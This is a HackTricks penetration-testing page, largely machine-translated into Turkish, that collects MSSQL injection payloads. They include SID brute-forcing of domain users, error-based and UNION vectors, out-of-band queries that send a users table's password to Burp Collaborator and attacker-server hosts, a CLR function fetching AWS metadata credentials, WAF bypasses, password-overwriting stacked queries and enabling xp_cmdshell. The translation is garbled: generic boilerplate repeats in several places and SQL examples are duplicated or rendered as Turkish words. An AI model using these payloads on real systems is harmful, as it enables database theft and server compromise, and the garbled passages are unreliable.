26 KiB
MSSQL Enjeksiyonu
AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz ABONELİK PLANLARINA göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.
Active Directory numaralandırma
Bir MSSQL sunucusu içinde SQL enjeksiyonu kullanarak etki alanı kullanıcılarını numaralandırmak mümkün olabilir. Bunun için aşağıdaki MSSQL fonksiyonlarını kullanabilirsiniz:
SELECT DEFAULT_DOMAIN()
: Geçerli etki alanı adını alır.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: Eğer etki alanının adını biliyorsanız (bu örnekte DOMAIN), bu fonksiyon hex formatında kullanıcının Administrator SID'sini döndürecektir. Bu,0x01050000000[...]0000f401
gibi görünecektir, son 4 byte'ın büyük uçlu formatında 500 sayısı olduğuna dikkat edin, bu da yönetici kullanıcısının genel ID'si olan.
Bu fonksiyon, etki alanının ID'sini (son 4 byte hariç tüm byte'lar) bilmenizi sağlar.SUSER_SNAME(0x01050000000[...]0000e803)
: Bu fonksiyon, belirtilen ID'nin kullanıcı adını (varsa) döndürecektir, bu durumda büyük uçlu == 1000 olan 0000e803 (genellikle bu, oluşturulan ilk düzenli kullanıcı ID'sidir). Ardından, 1000 ila 2000 arasındaki kullanıcı ID'lerini brute-force yaparak muhtemelen etki alanının tüm kullanıcılarının kullanıcı adlarını elde edebilirsiniz. Örneğin aşağıdaki gibi bir fonksiyon kullanarak:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Alternatif Hata Tabanlı vektörler
Hata tabanlı SQL enjeksiyonları genellikle +AND+1=@@version--
gibi yapılarla benzerlik gösterir ve «OR» operatörüne dayanan varyantlar içerir. Bu tür ifadeleri içeren sorgular genellikle WAF'lar tarafından engellenir. Bir bypass olarak, aranan veride bir veri türü dönüşüm hatası tetikleyen belirli fonksiyon çağrılarının sonucunu %2b karakterini kullanarak bir dize ile birleştirin.
Bu tür fonksiyonlara örnekler:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Fonksiyon USER_NAME()
'in örnek kullanımı:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
Bu SSRF hileleri buradan alınmıştır
fn_xe_file_target_read_file
Sunucuda VIEW SERVER STATE
izni gerektirir.
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
Bu, CONTROL SERVER
iznine ihtiyaç duyar.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
Bu, CONTROL SERVER
iznine ihtiyaç duyar.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
xp_dirtree
gibi depolanan prosedürler, Microsoft tarafından resmi olarak belgelenmemiş olsalar da, MSSQL içinde ağ işlemlerindeki kullanışlılıkları nedeniyle başkaları tarafından çevrimiçi olarak açıklanmıştır. Bu prosedürler, çeşitli örneklerde ve gönderilerde gösterildiği gibi, Out of Band Veri sızdırma işlemlerinde sıklıkla kullanılır.
Örneğin, xp_dirtree
depolanan prosedürü, ağ istekleri yapmak için kullanılır, ancak yalnızca TCP bağlantı noktası 445'e izin verir. Bağlantı noktası numarası değiştirilemez, ancak ağ paylaşımlarından okuma yapmaya izin verir. Kullanımı aşağıdaki SQL betiğinde gösterilmiştir:
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
Bu yöntemin, varsayılan ayarlarla çalışan Windows Server 2016 Datacenter
üzerinde çalışan Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
gibi tüm sistem yapılandırmalarında çalışmayabileceği önemlidir.
Ayrıca, master..xp_fileexist
ve xp_subdirs
gibi alternatif depolanan prosedürler de benzer sonuçlara ulaşabilir. xp_fileexist
hakkında daha fazla bilgi için bu TechNet makalesine bakabilirsiniz.
xp_cmdshell
Ayrıca xp_cmdshell
kullanarak bir SSRF tetikleyen bir şeyi yürütmek için de kullanabilirsiniz. Daha fazla bilgi için sayfadaki ilgili bölümü okuyun:
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}
MSSQL Kullanıcı Tanımlı Fonksiyon - SQLHttp
Özel işlevleri yürütmek için MSSQL içinde yüklenecek olan bir DLL'ye derlenen herhangi bir .NET dilinde yazılmış kod olan CLR UDF (Common Language Runtime User Defined Function) oluşturmak, genellikle sa
olarak veya Yönetici rolüyle veritabanı bağlantısı yapıldığında mümkün olur.
Bu işlevselliğin çekirdeği, MSSQL içindeki HTTP GET isteklerini yürütmek ve içeriği almak için WebClient
sınıfını kullanan http.cs
dosyasında özetlenmiştir. Bu işlevselliğin çekirdeği aşağıdaki gibi gösterilir:
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
CREATE ASSEMBLY
SQL komutunu çalıştırmadan önce, sunucunun güvenilir derlemeler listesine ( select * from sys.trusted_assemblies;
ile görüntülenebilir) derlemenin SHA512 karma değerini eklemek için aşağıdaki SQL parçacığını çalıştırmak önerilir:
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Başarıyla derleme eklenip fonksiyon oluşturulduktan sonra, aşağıdaki SQL kodu HTTP isteklerini gerçekleştirmek için kullanılabilir:
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Hızlı Sömürü: Bir Sorguda Tüm Tablo İçeriğini Almak
Bir tablonun tam içeriğini tek bir sorguda çıkarmak için özlü bir yöntem, FOR JSON
ifadesini kullanmaktır. Bu yaklaşım, "raw" gibi belirli bir mod gerektiren FOR XML
ifadesinden daha özlüdür. FOR JSON
ifadesi, kısalığı nedeniyle tercih edilir.
İşte mevcut veritabanından şema, tablolar ve sütunları nasıl alacağınız:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```sql
## MSSQL Injection
Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırıları hakkında bilgi bulacaksınız. SQL enjeksiyonu, bir web uygulamasının güvenlik açıklarını kullanarak veritabanına kötü niyetli SQL kodu enjekte etme işlemidir. Bu saldırı türü, kullanıcı girişlerinin doğru bir şekilde filtrelenmediği veya doğru bir şekilde işlenmediği durumlarda gerçekleşir.
### MSSQL Enjeksiyonu Türleri
MSSQL enjeksiyonu, çeşitli yöntemlerle gerçekleştirilebilir. İşte en yaygın kullanılan MSSQL enjeksiyon türleri:
- **Union-Based Enjeksiyon**: Bu yöntemde, UNION operatörü kullanılarak veritabanından veri çekilir.
- **Boolean-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunun sonucunu doğru veya yanlış ifadelerle kontrol ederek veri çekilir.
- **Time-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunun çalışma süresini kontrol ederek veri çekilir.
- **Error-Based Enjeksiyon**: Bu yöntemde, SQL sorgusunda hata oluşturularak veri çekilir.
### MSSQL Enjeksiyonu Örneği
Aşağıdaki örnek, MSSQL enjeksiyonunun nasıl gerçekleştirileceğini göstermektedir:
```plaintext
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
Bu URL'de, id
parametresine eklenen '
karakteri ile SQL enjeksiyonu gerçekleştirilmektedir. SQL sorgusunda UNION
veya SELECT
gibi operatörler kullanılarak veritabanından veri çekilmektedir.
### Retrieving the Current Query
[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
```sql
## MSSQL Injection
Bu bölümde, MSSQL veritabanlarında SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir uygulamanın veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın veritabanına yetkisiz erişim elde etmesine olanak tanır.
### Union Saldırısı
Union saldırısı, SQL enjeksiyonunun en yaygın kullanılan yöntemlerinden biridir. Bu saldırıda, UNION operatörü kullanılarak iki veya daha fazla sorgunun sonuçları birleştirilir. Bu sayede saldırgan, hedef uygulamanın veritabanından istediği bilgileri çekebilir.
Aşağıdaki örnek, UNION saldırısının bir örneğini göstermektedir:
Bu saldırıda, `id` parametresine `-1 union select null,(select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)),null,null` değeri verilmiştir. Bu değer, UNION operatörü kullanılarak birincil sorgunun sonucuna ek olarak `sys.dm_exec_requests` ve `sys.dm_exec_sql_text` tablolarından bilgi çekmektedir.
Bu saldırı, hedef uygulamanın veritabanında bulunan verileri çalmak veya manipüle etmek için kullanılabilir. Saldırgan, UNION saldırısını kullanarak veritabanı yapısını keşfedebilir, kullanıcı kimlik bilgilerini ele geçirebilir veya hassas verileri sızdırabilir.
Bu nedenle, uygulama geliştiricilerinin SQL enjeksiyonu saldırılarına karşı koruma önlemleri alması önemlidir. Bu önlemler arasında parametre bağlama, giriş doğrulama ve filtreleme gibi güvenlik kontrolleri bulunur.
To check if you have the VIEW SERVER STATE permission, the following query can be used:
```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Bu sorgu, 'SERVER' izin türüne sahip olan 'VIEW SERVER STATE' iznine sahip kullanıcıların tüm izinlerini döndürür.
## **Little tricks for WAF bypasses**
[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
Non-standard whitespace characters: %C2%85 или %C2%A0:
MSSQL Injection
Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin verir.
MSSQL Enjeksiyonu Temelleri
MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği verilere erişmesine olanak tanır.
MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:
- Union Saldırıları: Birleştirme (union) operatörü kullanılarak birden fazla sorgunun sonuçları birleştirilir. Bu, saldırganın veritabanından istediği verileri almasını sağlar.
- Boolean Saldırıları: Saldırgan, mantıksal ifadeleri kullanarak doğru veya yanlış sonuçlar elde eder. Bu, veritabanındaki bilgilerin doğruluğunu doğrulamak için kullanılır.
- Time-Based Saldırılar: Saldırgan, zaman gecikmelerini kullanarak veritabanı sorgularının sonuçlarını kontrol eder. Bu, saldırganın veritabanından bilgi çekmesini sağlar.
Union Saldırıları
Union saldırıları, birleştirme (union) operatörünün kullanıldığı SQL enjeksiyonu saldırılarıdır. Bu saldırılar, birleştirme operatörü kullanılarak birden fazla sorgunun sonuçlarının birleştirilmesini hedefler.
Aşağıdaki örnek URL'de union saldırısı gerçekleştirilmektedir:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Bu URL'de, id
parametresine 1%C2%85union%C2%85select%C2%A0null,@@version,null--
değeri verilmiştir. Bu değer, union saldırısını gerçekleştirmek için kullanılan SQL kodunu içerir.
Union saldırısı, union
operatörü kullanılarak birden fazla sorgunun sonuçlarının birleştirilmesini sağlar. Bu örnekte, null
değeri kullanılarak ilk sorgunun sonucu atlanırken, @@version
değeri kullanılarak MSSQL veritabanı sürümü elde edilmektedir.
Saldırgan, union saldırısı kullanarak veritabanından istediği verilere erişebilir. Bu nedenle, web uygulamalarının giriş alanları ve parametreleri dikkatlice kontrol edilmeli ve gerekli güvenlik önlemleri alınmalıdır.
Scientific (0e) and hex (0x) notation for obfuscating UNION:
MSSQL Enjeksiyonu
Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına zararlı SQL kodu enjekte ederek saldırganın istediği işlemleri gerçekleştirmesine olanak tanır.
MSSQL Enjeksiyonu Temelleri
MSSQL enjeksiyonu, web uygulamasının giriş alanlarına veya parametrelerine zararlı SQL kodu enjekte ederek gerçekleştirilir. Bu kod, veritabanı sorgularının normal işleyişini bozarak saldırganın istediği verilere erişmesini veya değiştirmesini sağlar.
MSSQL enjeksiyonu saldırılarında, saldırganın hedeflediği SQL kodu, web uygulamasının veritabanı sorgularına eklenir. Bu kod, veritabanı tarafından doğrudan yorumlanır ve sonuçlar web uygulamasına geri döner. Saldırgan, bu yolla veritabanı üzerinde çeşitli işlemler gerçekleştirebilir.
MSSQL Enjeksiyonu Örnekleri
Aşağıda, MSSQL enjeksiyonu için bazı örnekler verilmiştir:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
Yukarıdaki örneklerde, id
parametresine zararlı SQL kodu enjekte edilmiştir. union select
ifadesi kullanılarak @@version
fonksiyonu çağrılmış ve sonuçlar null
olarak döndürülmüştür.
Bu tür bir enjeksiyon saldırısı, saldırganın MSSQL veritabanı hakkında bilgi edinmesini sağlar. @@version
fonksiyonu, veritabanı sürümünü döndürür. Saldırgan, bu bilgiyi kullanarak hedef sistemi daha fazla zafiyet için analiz edebilir.
Önleme
MSSQL enjeksiyonu saldırılarından korunmak için aşağıdaki önlemleri alabilirsiniz:
- Giriş alanlarını doğru bir şekilde doğrulayın ve filtreleyin.
- Parametreleri güvenli bir şekilde işleyin ve sorguları hazırlarken parametre bağlama kullanın.
- Güvenlik duvarı ve saldırı tespit sistemleri kullanarak saldırıları engelleyin.
- Veritabanı kullanıcılarının minimum ayrıcalıklara sahip olduğundan emin olun.
- Güncel ve güvenli bir MSSQL sürümü kullanın.
Bu önlemler, MSSQL enjeksiyonu saldırılarını önlemeye yardımcı olabilir. Ancak, her zaman güncel güvenlik uygulamalarını takip etmek ve web uygulamalarını düzenli olarak test etmek önemlidir.
A period instead of a whitespace between FROM and a column name:
MSSQL Injection
Bu bölümde, MSSQL veritabanı üzerinde SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin veren bir güvenlik açığıdır.
MSSQL Enjeksiyonu Temelleri
MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği bilgilere erişmesine olanak tanır.
MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:
- Union Saldırısı: Birleştirme saldırısı, UNION operatörünü kullanarak bir SQL sorgusuna ek veri eklemeyi içerir. Bu, saldırganın veritabanından istediği bilgileri çekmesine olanak tanır.
- Boolean Saldırısı: Boolean saldırısı, saldırganın SQL sorgusunu doğru veya yanlış sonuçlarla sınırlayarak bilgi elde etmesini sağlar. Bu, veritabanındaki bilgilerin doğruluğunu test etmek için kullanılabilir.
- Time-Based Saldırı: Time-based saldırı, saldırganın SQL sorgusunun yanıt süresini manipüle ederek bilgi elde etmesini sağlar. Bu, veritabanındaki bilgilerin varlığını veya doğruluğunu test etmek için kullanılabilir.
MSSQL Enjeksiyonu Örneği
Aşağıdaki örnek, bir web uygulamasında MSSQL enjeksiyonu saldırısı gerçekleştirmek için kullanılan bir URL'yi göstermektedir:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
Bu URL, id
parametresine 1 union select null,@@version,null from.users--
değerini ekleyerek birleştirme saldırısı gerçekleştirir. Bu saldırı, @@version
fonksiyonunu kullanarak MSSQL veritabanı sürümünü elde etmeyi amaçlar.
Saldırgan, bu saldırıyı kullanarak hedef web uygulamasının veritabanı sürümünü öğrenebilir ve bu bilgiyi daha fazla saldırı veya istismar için kullanabilir.
Bu örnek, MSSQL enjeksiyonunun temel bir örneğini göstermektedir. Gerçek saldırılar daha karmaşık olabilir ve farklı teknikler kullanabilir.
\N separator between SELECT and a throwaway column:
MSSQL Injection
Bu bölümde, MSSQL veritabanında SQL enjeksiyonu saldırılarına odaklanacağız. SQL enjeksiyonu, bir web uygulamasının veritabanı sorgularına kötü niyetli SQL kodu enjekte ederek saldırganın istismar etmesine izin veren bir güvenlik açığıdır.
MSSQL Enjeksiyonu Temelleri
MSSQL enjeksiyonu, bir web uygulamasının giriş alanlarına veya parametrelerine kötü niyetli SQL kodu enjekte ederek gerçekleştirilir. Bu, saldırganın veritabanı sorgularını manipüle etmesine ve istediği verilere erişmesine olanak tanır.
MSSQL enjeksiyonu saldırılarında yaygın olarak kullanılan bazı teknikler şunlardır:
- Union Saldırısı: Birleştirme saldırısı, bir SQL sorgusuna eklenen ek bir SELECT ifadesi aracılığıyla verilerin çalınmasını sağlar. Bu, saldırganın veritabanından istediği bilgileri almasına olanak tanır.
- Boolean Saldırısı: Boolean saldırısı, saldırganın doğru veya yanlış yanıtlar alarak veritabanı hakkında bilgi edinmesini sağlar. Bu, saldırganın veritabanı yapısını keşfetmesine yardımcı olur.
- Time-Based Saldırı: Zaman tabanlı saldırı, saldırganın SQL sorgusunun yanıt süresini kullanarak veritabanı hakkında bilgi edinmesini sağlar. Bu, saldırganın veritabanı yapısını keşfetmesine yardımcı olur.
MSSQL Enjeksiyonu Örneği
Aşağıdaki URL, MSSQL enjeksiyonu saldırısının bir örneğini göstermektedir:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
Bu URL'de, id
parametresine 0xunion+select\Nnull,@@version,null+from+users--
değeri verilmiştir. Bu, birleştirme saldırısı kullanarak veritabanından kullanıcı tablosunun sürüm bilgisini çalmayı amaçlamaktadır.
Saldırgan, union select
ifadesini kullanarak mevcut sorguya ek bir SELECT ifadesi ekler. @@version
ifadesi, MSSQL veritabanının sürüm bilgisini döndürür. null
ifadesi ise diğer sütunları doldurmak için kullanılır.
Sonuç olarak, saldırgan, @@version
değerini kullanarak MSSQL veritabanının sürüm bilgisini elde eder.
Bu örnek, MSSQL enjeksiyonunun temel bir örneğini göstermektedir. Saldırganlar, bu teknikleri kullanarak daha karmaşık saldırılar gerçekleştirebilir ve veritabanı üzerinde daha fazla kontrol elde edebilir.
### WAF Bypass with unorthodox stacked queries
According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":
```sql
```sql
SELECT 'a' SELECT 'b'
Bu SQL sorgusu, 'a' ve 'b' değerlerini döndürmek için kullanılır.
So for example, multiple queries such as:
```sql
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
kullan [tempdb]
tablo oluştur [test] ([id] int)
ekle [test] değerler(1)
seç [id] [test] içinden
tablo sil [test]
Can be reduced to:
```sql
```sql
Kullan[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Kullan[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
Sonuna gereksiz bir exec() ekleyerek ve WAF'ın bunun geçerli bir sorgu olmadığını düşünmesini sağlayarak
admina'union select 1,'admin','testtest123'exec('select 1')--
Bu şu şekilde olacak:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'
Garip bir şekilde oluşturulmuş sorgular kullanarak
admin'exec('update[users]set[password]=''a''')--
Bu şu şekilde olacak:
SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'
Veya xp_cmdshell'i etkinleştirme
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
Bu şu şekilde olacak:
select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'
## References
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>